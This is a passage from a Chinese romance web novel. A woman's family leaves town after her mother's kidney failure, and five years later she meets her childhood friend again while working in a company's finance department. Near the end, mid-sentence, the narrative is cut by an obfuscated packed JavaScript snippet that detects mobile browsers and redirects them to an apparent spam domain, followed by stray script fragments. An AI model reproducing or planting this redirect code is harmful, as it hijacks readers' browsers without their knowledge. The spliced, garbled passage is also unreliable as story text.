时中伟看了眼趴在床边睡过去的时慕,脸上还挂着泪痕,梦里似乎还在抽抽嗒嗒。时中伟深叹了口气,看向时献说:“医生说,是肾衰竭,后期会变成尿毒症。” 时献对突如其来的医学名词没有概念,她还不能反应过来这究竟是一种什么样的病。 时中伟伸手拍了拍她的胳膊,低声说:“先回去,你妈这边有我,医院这边也不能陪着这么多人,小慕今天吓得不轻,你先带她回去,有什么事明天我们回家说。” 时献呆滞地点头,带着时慕回了江南里。 腊月二十九。 时献一早在惊慌中醒来,一看时间,才六点不到。 她起床后简单收拾好自己,看了眼躺在自己床上的时慕,还在沉沉的睡着。轻轻带上房门后去厨房做了个早餐,昨晚就没吃,时中伟和张玉淑等会儿回来肯定要吃东西。她做好早餐从厨房拿了扫帚和垃圾袋,开始一点点清理客厅的狼藉。 张玉淑昨天被混乱的场景刺激到,今天再回来不能让她再看到这些了。 大致收拾了一通,时献去了书房打开电脑搜索,昨晚忙着安抚时慕她到最后也没来得及了解病情到底是怎么一回事。 打开网页搜索,输入,肾衰竭,时献看着跳出来的网页一行行一条条看过去,身体开始发凉。 再输入尿毒症,半小时后,时献整个人开始忍不住再次颤栗。 平时同一个问题可能有千百种答案的检索,此刻任凭时献搜遍了任何一个网站,都是相似的解释。 电脑界面里躺着冰冷的文字解释,尽管带着有些晦涩的专业描述,但时献还是从各种详尽的解释中看懂了意思。 尿毒症不可逆,无法治愈是医学界的共识。 不可逆 无法治愈 ………… 时献一手按住发慌的胸口,一手拿起桌上的手机,习惯性地拨出熟悉的号码,她其实完全凭着下意识在动作,脑中已经没了思考的能力,只知道自己现在特别想听到那个声音,那个可以将她从这快要淹没自己的恐慌中捞出来的声音。 电话拨过去,通了。 但是一直没有人接听。 一直在等候音中停留。 听筒中永远只有机械的语音在回复她。 家里开着地暖,但时献握着手机的手却冰到几乎失去知觉。 在不知道拨了多少通未接电话后,时献放弃了继续,她茫然地攥着手机,双手环在胸前,目光被窗外的景象吸引过去。 窗外从早上起就开始下雪,时献木然地看着窗外,时间一分一秒地过去,她眼睁睁地看着窗外的小雪慢慢变成鹅毛大雪。 如果将过去所有经历过的冬季拿来比较,高二这一年的寒假,应该是时献遇到的最寒冷的冬季,有无处可躲避的寒风,有冰封不可消散的霜冻,还有下不完的大雪。 时献在接下来的时间里几乎陷入恍惚状态,等她完全反应过来,他们一家人已经离开了江南里。 临近春节,各种行程票都很难买到,时献直到坐在火车上才真切地意识到,自己真的已经离开崇安了。 张玉淑刚恢复过来,精神状态还不是很好,此时在软卧间睡着,时慕和时中伟也在里面陪着。 时献放轻声音从软卧间出来,走到车厢连接的洗手区,一侧的密封玻璃上方有一小块可供推开的窗户。 时献打开手机后盖,取出芯片,将手伸到窗户缝隙处,顿了几秒,然后丢了出去。 列车匀速行驶,转眼进入隧道,车厢内光线瞬间暗了下来,车轨碾过的声音伴着隧道的回声在耳边呼呼作响,恍如进入了另一个世界。 那枚连接着时献和崇安所有联系的芯片,安静地躺在了南来北往的车轨中,再也无人发现。 五年后 时间如白驹过隙,牢牢守着的人觉得漫长,可对于匆忙赶路的人来说不过一瞬,两者体会感差别甚大,给到心境上的落差也判若云泥。 但其实时间从来公平,对任何人都从无偏差,走不出的,从来都是人类本身而已。 人类所有的情绪在浩瀚不可测量的时间面前,犹如水滴入江海,激不起一点浪花。 将自己裹挟进水滴里的人,只能慢慢捱着时间,等待能破出的那天。 时献直到坐进程任的车里也没找到一点真实感。 五年了,他们分开已经整整五年了。 曾经的她以为,自己会永远陪在程任身边,哪怕他永远不喜欢自己,哪怕他最后会成家,他们之间至少还有一起长大的情分在。即便不是爱人,也会是亲人、至友,她总能找到合适的关系来安慰自己。 他们不仅有彼此,还有很多共识的人,这些琐碎的羁绊将两个人缠绕在一起,即便不是亲密的关系,也会让对方成为不可或缺的存在。 可是他们分开了。 他们在不同的地方各自成长,各自过着对方不知道的生活,接触对方不认识的人,然后随着时间的打磨,一点点变成对方不熟悉的模样。 两个人的关系曾经因为时间生出多少羁绊,就可以因为时间和距离渐行渐远。 何况,他现在的样子,自己好像不太认识了。 时献看了眼驾驶座的程任,西装革履,精英感十足,她从前没见过这样的程任,身板好像也比五年前更硬朗了,侧面的轮廓分明,眼神比过往更显深邃,一双剑眉衬得整个人英气十足,但此时微蹙着,不知道在烦心些什么。 “怎么一直看着我?几年不见,不认识了?”前方遇到红灯,等待的间隙,程任偏头问。 “没有,只是有点不习惯。”时献脱口而出,程任倒愣了一秒,随后反应过来。 “是啊,我们五年没见了,献献。” 程任语气中带着惋惜,似在喟叹。一只手曲起食指在方向盘上无意识地轻轻敲着,时献扫了一眼,心里想着,一焦躁就敲方向盘这个习惯倒是没变。 两人重逢的很突然,中间相隔时间太久,实在不适合在当下聊往昔,程任看着前方红灯变换,一踩油门,一边匀速开车一边问。 “你现在在东峻?” “嗯。”时献刚应完就觉得哪里不对,程任怎么会知道自己在东峻上班? “你怎么知道?” 程任抿了嘴角,浅笑了一下,没有直接回答,“这个以后再说,晚上想吃什么?” 时献被问愣了,这是要带她吃饭去的意思?“不用了,现在吃饭还早,我回去好了。” 程任似乎并不打算考虑她的意见,直接说:“这里离你住的地方有段距离,等你到家也到饭点了,我先带你去吃饭,吃完饭,我送你回去,不用担心。” 这是又知道自己住哪儿了?时献再次懵住。 程任将车停到商城附近,直接带她去了一家装修风格清雅的餐厅。 吾安。 时献进门的时候看了眼餐厅的名字,进了里间又觉得装修风格特别有江南气息,看来是地方菜系。 程任将菜单放到她面前,让她点菜,时献扫了一眼,放在前面的招牌菜都是崇安的名菜。 她立刻抬头看向程任,“这是?” “老板是崇安人,家就住一中附近,菜做的很地道,我经常来,就想着也带你来尝尝。”程任目光深邃,直直地看着时献,语气却平静如水。 时献一听到崇安,心中就突然有些慌乱,低头将菜单交过去,“你看着点就好,我们两个人吃不了太多,我也不挑食。” 程任反问:“不是不吃葱姜吗?” 时献将身体往后椅上靠去,轻飘飘地回:“没事我早就能吃了,不用顾及。” 程任翻页的手指顿了一下,动了动嘴角却没说什么,只回了个好。 几个招牌菜上桌,程任问时献喝什么饮料,时献摇头说有清水就好,程任面色又有一丝凝滞,点了壶茉莉花茶。 汤品上来,程任拿起时献面前的汤碗,盛了半碗放到她面前,轻声说:“这道牛肉羹做的很正宗,和我们在崇安吃的一样,你尝尝。” 时献道了谢,拿起勺子喝了一口。 “怎么样?正不正宗?” 时献轻轻点头,答非所问道:“挺好喝的。” 两人太久没见,话题一时无从说起,何况又都各自怀着复杂的心绪,一顿饭吃到最后只是程任简单问了几个问题,时献简短回答了,再无下文,算上进门落座到离开前后才不过一个小时。 而所谓的正宗崇安风味,时献其实已经有点陌生了。 程任将车开到时献楼下,熄了火,一时没有说话。时献先回过神来,解了安全带。 “我先上去了,谢谢你今天送我回来。”伸手就要开车门,用力扣动了一下却发现车门打不开。 时献转身去看程任,等待他解锁,可程任却没有动,只是看着她。 时献先败下阵来,微垂了眼眸躲避他的眼神,轻声说:“麻烦,开一下车门。” 程任终于开了口,“献献,我们聊聊。”不知道是不是时献的错觉,她从这话语中听到了一丝慌张,像拼命想要抓住一样东西却恐惧自己抓不住的慌张感,但她很快就否定了自己的想法,程任是什么样的人她又不是不知道,从小对任何事都胜券在握,从不强势,却从不畏惧,而实际情况也确实这样,他想要的东西从来没有得不到的,他想做的事情也从来没有做不好的。 他和慌张,从来没有半点牵连。 时献觉得自己有些可笑了今天,怎么会有这样奇怪的想法。 思虑一圈,疲惫感更甚,眼下她也无法专心和程任叙旧,心里的乱麻散了一地,完全不知道该从何收拾,她身体向旁边退了一点,说:“改天吧,今天有点累,我想回去休息。” 程任看着她疏离的动作和态度,胸腔突然一阵钝痛,稍微平复了会儿心境,说道:“好。” 说完拿出手机,解锁,递过去。 “把你现在的号码给我吧。” 时献迟疑了几秒,接了过来,输入自己现在的号码,没一会铃声响起。 “这是我的手机号,有事随时都可以找我。” 顿了顿,他又说道:“还和以前一样。” 时献突然觉得空气有一瞬间的窒息感,勉强稳住声音,“好的,我记下了。” 其实也不用记,那串数字早就刻在脑海里,只怕倒着背也没问题。 解锁声响起,时献获救般迅速拉开车门,逃离了这让她失措的现场。 时献一口气冲上了楼,开门的时候手都是抖的,打开门的一瞬间连忙钻进去,直到关门声在背后发出“砰”地一声,她才如脱力一般沿着门框滑到地上,胸口的心跳声快到整个人几乎承受不住。 而此时的程任,站在车边,一直维持着抬头向上看的姿势,他听到时献一路快步跑上楼,楼道感应灯一层层被点亮,直到停在了五楼,然后右边的窗户亮了。 七点多,小区里的住户大多吃过晚饭,虽然是冬季,却依然有人出来散步,还有忙碌了一天刚回来的上班族,经过的人纷纷看向这个陌生的男人,他容貌极盛,身姿挺拔,衣着彰显不俗气质,抬着头不知道在看哪一层,眼神温柔而缱绻,却又透着与自身气质不太相符的无助。 冬季的夜晚过了七点天色就彻底进入了黑夜,小区里的夜灯亮起,家家户户窗户里透出光来,他的身影在昏黄光晕的投影下渐渐地被揉进了月色。 有人在低声呢喃。 好久不见,献献。 庄亦 清晨到来,时献依旧被闹铃叫醒,伸手去床头摸手机,关掉闹铃,顺便关了飞行模式,微信提示音响了起来。 【早安献献,上班前记得吃早餐,最近我会有点忙,过几天去看你。】 时献靠在床头,盯着手机看了一会,还不太能适应一早醒来有人关心问候的感觉,她看着对话框里程任的名字,还有点恍惚,感觉像在做梦,偌大的启东,怎么就让他们遇上了。 时献简洁回复了一下就退出了对话框,发现小组群里有未读信息,定睛一看,A组经理钟问素在群里通知。 【今天下午三点会议室开会,庄总会出席。】 一看时间,是凌晨一点发来的,那不就今天下午开会? 时献脑中过了一圈,彻底醒了。 庄亦是东峻的财务总监,行事果决高效,财务行业内的专业证书几乎被他揽了个遍,专业能力上绝对挑不出半点毛病,早些年只管财务,最近几年接受项目部的事情比较多,但财务上的事情却依旧没有放手,公司里都在传言,老爷子估计要将东峻的担子彻底交给他了。 时献算了算时间,庄亦这次出差,比原定回来的日期还早了两天,下午开会,肯定是要做年度汇报和预算汇报,得赶紧去公司再整理一下,避免下午出错,时献一个激灵爬起来,迅速收拾自己。 上午八点整,时献到了公司,距离上班时间还有整整一个小时,但时献刚进门就发现钟问素已经到了,她隔着玻璃门看到钟问素已经衣着整齐妆容精致的坐在格子间里,内心不禁感叹,职场女性的努力永远没有上限这件事。 似乎是被激励到,时献不再想其他,立刻打开电脑,将前些天已经做好的数据和说明再捋一遍思路,重新校对了格式和排版。 上午八点半,A组人已经全部到齐,各自神色紧张的在自己的座位上整理数据,没人说话。 李晴枫偷偷将座椅往时献这边滑过来,低着头小声说:“老大这次比原定的时间早了两天啊,效率真的太夸张了,还好咱们知道他的风格,提前弄好了,不然今天命都要交代在这了。” 说完手比作刀刃,假装抹脖。 时献伸手拍了下她的手腕,“还有心情说这个,还不抓紧时间再过几遍,再犯上次的排版错误,你就真的别活了。” 李晴枫心有余悸地瘪瘪嘴,连忙又滑了回去,想到上次季度汇报的噩梦,庄亦那当场能剐下她一层皮的眼神,后背忍不住发凉,太可怕了,再来一次她绝对当场去世。 整个办公室静悄悄又闹哄哄的,没有别的声音来源,只有不停地敲击键盘和点击鼠标的声音。 下午两点五十,A组B组全员到齐,时献看了眼庄亦左手边的座位,果然,这种年度大会,连常年在外出差的B组审计经理何晨涛也回来了。 不知道是不是回来的突然,何晨涛看起来面色不是很好,眼下有乌青,明显是睡眠不足,整个人憔悴感很重,后背却绷的很直,一副强迫自己打起精神的样子。腋下的西服有明显的褶皱,估计还来不及回去换衣服就赶过来了。 内审果然不是人干的活,时献在心里无奈地想着。 两点五十七分,庄亦的助理推开会议室的大门,在所有人的屏息中,着一身高定西装的庄亦稳步走进了会议室。 时献跟着众人一起起身,李晴枫紧张到吸气收紧了小腹。 “大家坐吧。”庄亦微点了下头,落了座,众人才一一坐下。 庄亦工作上从不多话,翻开汇报书就直接走起流程,A组财务经理钟问素先陈述年度汇总,庄亦双手交叉放在桌上,听完了汇报后没有说话。 没说话就是没有疑虑和不满,时献莫名替钟问素松了口气。 接下来是B组汇报,何晨涛翻开面前的文件,微不可见地舒了口气,开始陈述。 “2015年江中地区共五大分部,经B组审计检查,重点针对四个部分,第一部分,重点针对四个方向进行细节审计,第一,销售成交单审批,第二,赊销申请审批,第三,发货出库内部管理,第四,收款循环管理……” 庄亦原本一直低头看文件的双眸抬了起来,扫向何晨涛,打断了他,“赊销申请的内审重点,具体放在哪一步?” 何晨涛陈述被打乱,语气有了一丝停滞,随后迅速回复:“重点核实了赊销审批权限的确认和赊销条件的复核,然后……” “赊销的账期最长是多少?”庄亦反问道。 “六,六个月。”何晨涛额头开始冒冷汗。 “最长账期的占比,江中五大分部之间有无异常?” 何晨涛翻了下手中的文件,略显慌乱道:“暂时没有发现异常,目前,五大分部之间平均最长账期占比在13%左右,以,以崇安17%最高……” 庄亦食指和中指弯曲,在桌面扣了扣,声音压了下来,“崇安市的经济水平在江中居首位,最长账期占比也是首位,而芜中市经济水平在五大分部之间排倒数第二,最长账期比崇安整整低了5个点,还低于江中平均值。” “过去三年崇安市的最长账期比是多少?” 何晨涛立刻去翻文件,刚翻到第二页庄亦就开口说道:“2012年9.44%,2013年11.51%,2014年13.23%,逐年上涨,今年干脆远超平均数了。” 庄亦微微向前倾了身体,眉毛渐渐蹙起,“2015年坏账率数崇安市最高,何经理,这就是你跟我说的暂时没有异常?” 何晨涛额头上的汗从太阳穴滑落下来,整个人显得十分狼狈,时献看得心惊,看来何晨涛这次凶多吉少。 整场会议最后以A组的预算汇报收了尾,临近结束的时候庄亦突然问钟问素当年低值易耗品的占比,钟问素给了时献一个眼神,时献立刻报上占比和金额,庄亦又问了近三年的数据,时献报出占比又补充了异常波动说明,庄亦听完点了点头,没有后话。 整场会议持续了2个多小时才结束,所有人在庄亦离开会议室的那刻集体松了口气。 李晴枫抓住时献的胳膊,气若游丝地说:“老大刚刚问我的时候,我心脏差点要从喉咙里跳出来了,还好有惊无险,太吓人了吧。” 时献无奈地笑着说:“马上要过年了,还是小心点吧,最近问题不会少的,当心面谈。” 李晴枫疯狂摇头,“你别乌鸦嘴!那我真的要心脏骤停的!” 庄亦的助理刚好走过来,两人立刻礼貌地打招呼:“杨助理。” 杨帆微笑回应,对着时献说:“我来传个话的,庄总让你去他办公室。” 李晴枫睁大双眼,一副受了惊吓的样子,戳了戳时献,万分同情地说:“让你刚刚说我,这下自己多保重吧。” 时献立刻收了说笑的心思,稳了下心神,快步走向庄亦办公室。 深呼吸,抬手敲门。 “进来。”庄亦的声音从里面传来。 时献推门而入,规矩地站在办公桌前,“庄总您找我?” 庄亦正在翻文件,见她进来,抬头示意了一下对面的位置,“坐吧。” “你今年考CPA了吧,我都忘了问,成绩出来了,考的怎么样?” 时献顿了一下,回道:“过了会计、审计和税法。” “税务师考了吗?” 时献回道,“也考了,过了税法一和税法二。” 庄亦继续问道:“剩下的几科明年一次性考完有问题吗?” “我会尽力。” 庄亦微眯了下眼睛,似有不满,“没信心?” “不是,明年十月才考,太远了,现在不好保障还没发生的事。” 庄亦笑着轻轻摇头,“老师说的真没错,你是真适合做这行,少年老成,心思倒是严谨。” 时献想了想李教授说这话的样子,有些不好意思地说:“教授夸人的方式很特别。” 庄亦看她一脸窘迫也就不再打趣,收了笑,顿了顿,话锋一转,“何晨涛早上的汇报,看出江中什么问题?” 时献并不着急回答,稍微捋了下思路,说道:“崇安的最长账期比过大,且逐年增长过快,坏账率攀升,信用审批部的审核或许存在问题。” “接着说。” 时献考虑了下措辞,继续说:“信用审批部的审核重点在两个地方,第一,是否给予赊销资格,第二,确定赊销时长,赊销资格的过宽放开会导致坏账可能性增加,赊销时长过长会影响资金的流动性,坏账的可能性也更大,而且,江中是我们业务的重点区,最近几年业务量在增加,是创收的主要区域,金额重大,赊销基数过大,考虑到货币的时间价值,我们的损失也是无形的。” “所以你觉得问题主要在信审部?” 时献摇头,“信审部当然存疑,但他们作为独立部门其实没必要这样做,一旦产生问题一定是双向甚至是多向的,比如市场部和信审部之间的来往关系,还有财务部在后期尾款追踪上,是否存在不及时的问题,哪个环节有误差,都会导致上述两个问题的发生。” 说白了,信审部有心想包庇肯定是部门之间串通在一起了,总部的审计组报喜不报忧,何晨涛也许就有问题了。 但时献现在不是审计组的人,不好说的太激进,也不便对别人的工作多加评论,何况何晨涛职位还在她之上。 “如果要复审,你想从哪个环节入手?” 时献一怔,这个问题,似乎由她来回答还不合适,她正纠结措辞该怎么表达更恰当,庄亦却看出了她的顾虑,冲她摆摆手,“不必纠结,我只是随便问问,你刚考完试,理论为主,就当我替老师和你聊聊实战问题。” 时献略微松了口气,说道:“两个点,第一,信审部内部的职责分离,第二,重点复查市场部业绩提成点变动阶段前后的成交单。” 市场部根据成交业绩量来提成,业绩完成的越好,提成比自然越高,如果想促成业绩达标,每个提成点增长阶段前后的业绩就很有可能被做手脚,以点看面,成交单若存疑,背后的合作客户可能就不是第一次有问题了。 时献其实很紧张,凭着一股劲儿一口气说完等着庄亦的点评,她知道自己空有理论,说出来的东西可能都是纸上谈兵,以庄亦严苛的作风或许会一一反驳掉自己的想法,但有些意外的,庄亦听完没有发表任何意见,面上也看不出情绪,只不轻不重地嗯了一声,就算回应了。 这是什么意思? 虽然不解,但没有被批评,这已经是时献能想到的最好的结果了,默默在内心舒了口气,打算撤退。 “庄总,如果您没什么事,那我就先回去做事了。” 庄亦点点头,时献立刻起身走出去,刚扶上门把手,就被庄亦叫住。 以为还要再问工作上的事情,时献等了半晌,却听见庄亦问她:“后天有空吗?陪我去见个人。” 时献没反应过来是谁,不解地看向庄亦。 只见他面上带着一丝焦虑,似乎是觉得西装束缚,解了一颗外套的西装扣,原本坐直的身体往椅背上靠去,眉目间乌云密布,再次开口的时候,声音有些发闷。 “她回来了。” 时献立刻反应了过来,能让庄亦有明显情绪波动的人,只有丛珮。 丛珮 到了庄亦约定的那天傍晚,时献下了班后没有立刻回去,抬头看了看总监办公室,杨帆还在助理位前埋头工作,看来是要等一会儿了,时献也不急,关了电脑,拿出巴掌大的缩略版经济法看了起来。 时献正看到物权法中动产的物权变动,刚看完,就感觉到身前有阴影,时献抬头,庄亦正站在旁边,看着她手里的掌上书,调侃道:“你的教辅倒是别致。” 时献合上手里的小册子,摇了摇,“小巧便携,合理利用碎片化时间。” 庄亦挑了挑眉,故意说:“看来上班还有摸鱼的时间?给你的事情太少了?” 时献立刻塞进包里,指了指墙上的钟,假笑着说:“现在是下班时间,公司应该不会拒绝员工努力提高专业能力吧。” 庄亦笑笑摇了摇头,一边往门外走去,一边招呼时献跟上。 上了车后庄亦的脸色就渐渐凝重起来,车里的气氛算不得轻松,时献也有点忐忑,毕竟今天见的,是一年没回来的丛珮。 要说起丛珮,恐怕没人不知道,在见面之前,时献对她的印象仅限于网络上各类奢侈品广告,以及她令人惊艳的舞蹈。 年少成名的美女舞蹈家,初入舞坛,一支《清明雨》展于人前,从此名声大噪,星途坦荡。 时献在网上看过她的表演视频,真真惊为天人,她仿佛为了舞蹈而生,每每看到最后都会忍不住泪流满面,时献自己也不明白为什么。 时献一直很想去现场看一次,可惜她后来创作依然惊艳,却坚持不跳《清明雨》了。 采访时也不作解释,没人知道为什么。 其实,时献和丛珮还有过一面之缘。 她大三那年来东峻实习,临近结束的时候部门组织聚餐,那天庄亦也去了,吃到最后散场的时候众人大多喝的微醺,庄亦安排人将女同事一一送回去,到了时献这里刚好满载,原本想打车回去,却不想被庄亦否定了,最后上了他的车被送回了学校。时献上车的时候丛珮就坐在车里,玲珑有致的曲线,一张明艳亮丽的脸,饶有兴致地看着时献,看得她连呼吸都不敢大声。 丛珮为人倒是自来熟,在庄亦问她问题的时候,时不时从中插话,也不知在试探些什么。虽然面上都是在和自己说话,但暗流却在他们两个人之间涌动,时献观察着两人之间奇妙的气氛,两头小心应付,回到宿舍后将自己丢到床上,简直疲惫不堪。 时献那会儿和庄亦还不算熟,只是搭着李之汉的关系,勉强挂上和庄亦同门师兄妹的情谊,但她有自知之明,庄亦是京大毕业的,李之汉当年在京大那样的名气都几乎拿他当关门弟子看待,可见有多亲厚重视。而自己,最多不过就这点踏实刻苦的优点算得上是老师比较喜欢的品性罢了,论天资和能力,她都差太远了。 是以,时献并不打算靠着这点情谊去庄亦面前讨什么好处,李之汉对她有爱才之心,已经很让她感激了,既然承了恩师推荐的情分,就不能轻易辜负。何况他们这行,专业是首位的,与其想别的不如快点提升自身能力,不然在人才济济的东峻,时献总会因为各种名校背景出身的同事而感到不安和自卑。 脑中不禁想到毕业时李之汉对她说的话,将来想往上走,到了一定的高度你是要吃亏的。惋惜之声犹在耳畔,时献伸手拂了拂垂下来的碎发,似乎想推走这思绪。 “到了,下车吧。”庄亦停了车,招呼时献下车,她往窗外看了看,吃饭的地方倒是离自己住的地方挺近的。 跟着庄亦进了门,才发现似乎是个挺出名的保密性极好的高级餐厅---忘业,想想丛珮的知名度,还有庄亦的身份,确实得考虑保密性。 只是,她一踏进包间就被惊到了,程任为什么也会出现在这里? 程任见到她却并不惊讶,反倒和庄亦热络地聊了起来,看样子两人早就相识了。 时献一头雾水,正在一旁愣着,就被丛珮拽到身边坐下了。 丛珮依旧妆容精致,一张明艳的脸饶是时献早就见过也还是忍不住感叹。 丛珮笑着冲她打招呼:“我们又见面啦,时献。” 时献立刻乖巧回应,有些受宠若惊,时隔一年,丛珮居然还能记得她的名字。 庄亦和程任仍在聊些工作话题,丛珮似有不耐地打断:“知道你们同门师兄弟情谊深厚,也实在不用一个劲的叙旧,当我们俩是死的?” 时献立刻看向程任,反应过来了,他们两个人都是京大金融系的。 庄亦却笑了,指着程任对时献说:“这也是你正经学长,老师当初保研名额都没留下的人,到现在说起当年都气的牙痒。” 程任眼中含笑地看着时献,轻飘飘地说:“幸会啊,小师妹。” 时献隐隐觉得,今天这场饭局,有些事先预谋的味道。 四个人的座位也很有意思的,丛珮和时献同侧,庄亦和程任同侧,但真正面对面的确是庄亦和时献,程任和丛珮,而最有关系的两对人,偏偏坐成了遥远的对角线,有那么些欲盖弥彰的味道。 时献全程不太主动说话,侧耳聆听,闷头吃东西为主,偶尔应和两句,还都是在应和程任问她的话,她有些受不住程任的眼神,只好将注意力转向别的地方。 丛珮就放开了,一边说着话一边喝起酒来毫不含糊,几杯饮尽,庄亦的脸色变得不是太好看,时献可太清楚这种神色是什么征兆了,连忙劝阻丛珮,奈何她根本不配合。 整场下来除了时献,也没什么人在正经吃饭,大家各怀心事,困在自己的情绪里无暇顾及其他,但时献不一样,她脑中纷乱,忙了一天下来腹中空空,此刻无法控场的她也只能选择先果腹再说。 好在这家餐厅不仅隐秘性好,味道也极佳,吃的算是十分满足。但这模样落在程任眼里就显得有些可爱了,时献从小就长了一张精致的小圆脸,这么多年过去了,婴儿肥消退不少,但脸型没变,一张白皙的小脸此时因为进食微微鼓起,像只乖巧的兔子。 丛珮一只手肘撑在桌边,因为喝酒的缘故面色有些红润,双眼迷离地看了眼时献,又看了眼程任,笑着说:“程总,你这眼神多少得收敛点儿啊,我们时献还是个小妹妹,你看她乖的跟只小白兔似的,回头再给你吓跑了,以后可就没得看了。” “丛珮。”庄亦出声示意了一下。丛珮却恍若未闻,“叫什么叫,我又没说你,激动什么。” 时献紧张地喝了口水,不知道此时该作何反应。 庄亦皱着眉,看着丛珮,眼中情绪复杂,伸手拿走她旁边的红酒放到一边,声音有些不悦道:“你今晚喝太多了,可以了。” 丛珮放下手肘,懒洋洋地往后座靠去,嘴角带着笑意,“呦,一个晚上了,终于舍得跟我说句话了?真稀罕。” 庄亦呼吸声重了几分,带着愠意,却没再说什么。 时献看了眼时间,快10点了,程任注意到她的动作,出门买了单,回来就说第二天还有工作,大家早点回去休息。 时献将外套穿上,伸手去扶丛珮,丛珮站起身来比她还高半个头,此时半挂在她身上有些吃不住重量。庄亦伸手去拉,打算将她送回去。谁知刚将人往怀里一带就被丛珮一把推开,庄亦猝不及防地往后退了一步。 “我不要你送,今晚我睡时献家。”丛珮头也没偏,抱着时献的胳膊试图站稳。 时献看向庄亦,面色已经十分难看,怕他们吵起来,连忙开口说:“没事的庄总,我住的地方就在附近,今晚就让丛珮姐睡我家吧,我室友最近都不在,不会让人拍到的。” 确实也别无他法,庄亦阴沉着脸,开车将她们送了回去。 时献根本扛不动丛珮,更别说带着她上五楼了,到了楼下,庄亦将已经有些迷糊的丛珮打横抱了上去,放在了时献卧室的床上。 他站在床边久久地看着丛珮,一声不发。 程任将房门虚掩上,示意时献给他们一点空间说话。 两人退到门边,程任环顾了一下房子,问道:“住这么远上班不会太辛苦吗?” 时献轻轻摇头,“我才刚毕业一年都不到,这种条件已经很好了。” 程任欲言又止,话到嘴边又转了个弯,“马上过年了,今年回家吗?” 时献说回,程任叹了口气,“回哪个地方?芜中市?” “嗯,外婆家在那边,爸妈也在。” “到时候我送你吧,开车回去,芜中和崇安是临市,都是顺路。”时献张口想拒绝,就听见他又说:“东峻的假期是跟着法定走的,财务部年关请假需要庄亦批准,献献,别躲着我。” 他声调放低,带着不容拒绝的讨好,眼神却炽热,时献有些看不懂这样的程任,更加应付不来,拒绝的话就忘了说出口。 两人正尴尬地僵持着,庄亦就出来了,一只手揉着嘴角,面色依然不好看,冲时献点了下头就直接疾步走了。 程任看了眼卧室的方向,又叮嘱了时献几句才离开。 大门应声关上,时献上了反锁,去厨房给丛珮冲了杯蜂蜜水端去卧室。 刚进门就发现她已经醒了,躺在床上双眼放空,不知道在想什么,看到时献进来,冲她笑了笑,不同于之前的风情万种,此时的笑容有些孩子气。 时献递过去水杯,让她喝了好解酒,本来担心她拒绝,却没成想丛珮十分配合地接过来一口气闷头喝到底,将杯子还给时献时还砸了砸嘴,仿佛有些没喝够。 “好点了吗?”时献坐在床边望着她。 丛珮嘴上的口红已经被冲淡,嘴角留着一抹浅浅的红印,妆容感减弱,整个人就显得有些清纯,她眸中的玩笑意味不见,此时直愣愣地看着时献说:“程任喜欢你吧。”是陈述句,不是疑问句。 时献睫毛颤了颤,有些不自在,“不是,丛珮姐,你别瞎猜了。” 丛珮伸手揉了揉太阳穴,浅笑着说:“我要是连这点情爱的事都看不出来,也白长你这么多岁了,时献,你和他之间有故事,只是现在还没解开心结,别着急,慢慢来,你们有的是时间看到对方的真心。” “年轻真好啊。” 时献看着她颓然又露着稚气的样子,突然有点心疼,想到刚刚他们在房间里独处的一小会儿,忍不住问:“丛珮姐,你和庄总……” 丛珮苦笑了一声,声音透着浓浓的疲惫,“我们和你们不一样,我爱他,他其实也爱我,我知道,但是他不要我,我就一点办法也没有。”说完摊开双手,仿佛一个讨不到糖果的无助小孩。 一滴眼泪突然从眼尾滑了出来,丛珮没有去在意,微微撑起身子找了个更舒适的位置靠着,说道:“你知道吗,成年人大多时候都是靠着伪装活下去的,男人靠地位,女人靠皮囊,就像我,穿最好看的衣服,化最精致的妆,心里在想什么永远不会放在脸上让别人看到底牌,尤其是感情。” 说完似乎又觉得自己很言行不一,自嘲地摇了摇头,“不过我也很失败的,你看,别人眼里再完美的女神,还不是个爱而不得的可怜虫。” 她定定地看着时献,似乎又不像在看她,时献几乎有种错觉,丛珮是在透过她看向从前的自己。 同行 除夕转眼将至,东峻的假期规定十分贴心,本市人除夕当天开始放假,外省市员工额外补一天路程假,如果科室内部协调得当有人轮岗,允许提前调休。 腊月二十八下午,下班点一过,众人就开始收拾东西离开,办公室的气氛一时活泼了起来。 李晴枫看着坐在座位上不动的时献,奇怪地问她:“你不走吗?放假了怎么这么不兴奋呢?” 时献笑着说收拾一下就走,动手开始拾掇,眼睛下意识看向手机。 磨蹭到大家渐渐走的差不多了,才拿起包准备离开,刚出门就看到庄亦迎面走来。 “还没走?程任都在下面等了好一会儿了。” 时献怔了几秒顿在原地,庄亦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353437|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似笑非笑地看了她一眼,摇摇头走了。 他这是什么表情? 顾不上方才的尴尬,时献步伐加快,抓紧挂在左肩的包带,等电梯上来。 看着按键里亮着的红灯一点点靠近,时献不知为何突然有点紧张起来,等到了15层,电梯门发出“叮”的一声缓缓打开。 抬脚刚要进,就僵在了原地。 程任从里面走了出来。 一同等电梯的还有几个时献的同事,此时饶有兴致地看着面面相觑的两人,但碍于礼貌,又不好当面八卦,只是脸上探究的神色过于赤裸,让时献忍不住臊红了脸。 “你,你怎么上来了。”时献刚说完就想咬自己一口,她原本应该不知道程任在楼下,现在这样说,等于当面暴露,还显得自己很急切。 身旁的人进了电梯,见他们没有下去的意思就直接关了门。程任带着她往旁边挪了挪,笑着说:“在楼下等了半天都没见你下来,来之前又没跟你说,怕跟你错开了。” 时献眼神往旁边飘忽了会儿,“找我有事吗?” “献献,你是不是忘了,明天我要送你回家。”程任一脸无辜地看着她,时献几乎要相信,他是真的在委屈。 时献不自在地咳了一声,侧过身子去按电梯键。 但这一趟不知道为什么等了半天都没有上来,于是两人就这么站在旁边等着,也不说话,气氛安静地令人尴尬。 “你们俩怎么还在这?”庄亦的声音从身后走来,身后跟着杨帆,时献看到他用手握拳遮了遮嘴角,非常掩耳盗铃地笑了。 庄亦有些无奈了,转头对着杨帆说:“我们公司什么时候变成学校了?员工下班还要家长来接?” 